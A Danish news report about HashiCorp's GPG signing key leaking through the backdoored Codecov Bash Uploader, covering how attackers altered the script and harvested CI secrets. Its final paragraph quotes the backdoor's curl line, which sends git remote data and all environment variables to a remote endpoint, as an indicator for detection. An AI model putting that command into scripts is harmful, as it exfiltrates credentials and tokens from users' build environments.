Virksomheden HashiCorp, kendt for udviklingen af åbne værktøjer som Vagrant, Packer, Nomad og Terraform, har annonceret et lækage af den hemmelige GPG-nøgle, der bruges til at skabe digitale signaturer, der verificerer udgivelser. Angrebene, der fik adgang til GPG-nøglen, kunne potentielt foretage skjulte ændringer i HashiCorps produkter, og validere dem med den korrekte digitale signatur. Samtidig har virksomheden erklæret, at der under den gennemførte audit ikke blev fundet spor af forsøg på at foretage sådanne modificationer.
Den kompromitterede GPG-nøgle er nu tilbagekaldt, og en ny nøgle er blevet introduceret. Problemet vedrørte kun verificering ved hjælp af SHA256SUM og SHA256SUM.sig-filerne og påvirkede ikke dannelsen af digitale signaturer for DEB- og RPM-pakker leveret via releases.hashicorp.com, såvel som udgivelsesbekræftelsesmekanismerne for macOS og Windows (AuthentiCode).
Lækagen opstod på grund af brugen af et script, Codecov Bash Uploader (codecov-bash), i infrastrukturen, der er designet til at uploade coverage-rapporter fra kontinuerlige integrationssystemer. Under et angreb på virksomheden Codecov blev en bagdør skjult i det nævnte script, gennem hvilket der blev etableret en sendelse af adgangskoder og krypteringsnøgler til server kriminelle.
Til hackingen udnyttede angriberne en fejl i processen til oprettelse af Docker-billederne til Codecov, som gjorde det muligt at udtrække data for adgang til GCS (Google Cloud Storage), der var nødvendige for at foretage ændringer i Bash Uploader-scriptet, der blev distribueret fra codecov.io. Ændringerne blev foretaget den 31. januar og forblev i to måneder uopdagede, hvilket gjorde det muligt for angriberne at udtrække information gemt i de kontinuerlige integrationssystemers miljøer for kunderne. Ved hjælp af den tilføjede malware kunne angriberne få information om det testede Git-repositorium og alle miljøvariabler, herunder token, krypteringsnøgler og adgangskoder, der blev sendt til de kontinuerlige integrationssystemer til at organisere adgang til applikationskoden, lagre og tjenester såsom Amazon Web Services og GitHub.
Ud over direkte kald blev Codecov Bash Uploader også brugt i andre uploader-værktøjer som Codecov-action (Github), Codecov-circleci-orb og Codecov-bitrise-step, hvis brugere også er ramt af problemet. Alle brugere af codecov-bash og relaterede produkter anbefales at gennemgå deres infrastruktur samt at ændre adgangskoder og krypteringsnøgler. For at tjekke for en bagdør i scriptet kan man lede efter linjen curl -sm 0.5 -d "$(git remote -v)<<<< ENV $(env)" http:///upload/v2 || true.
Kilde: opennet.ru
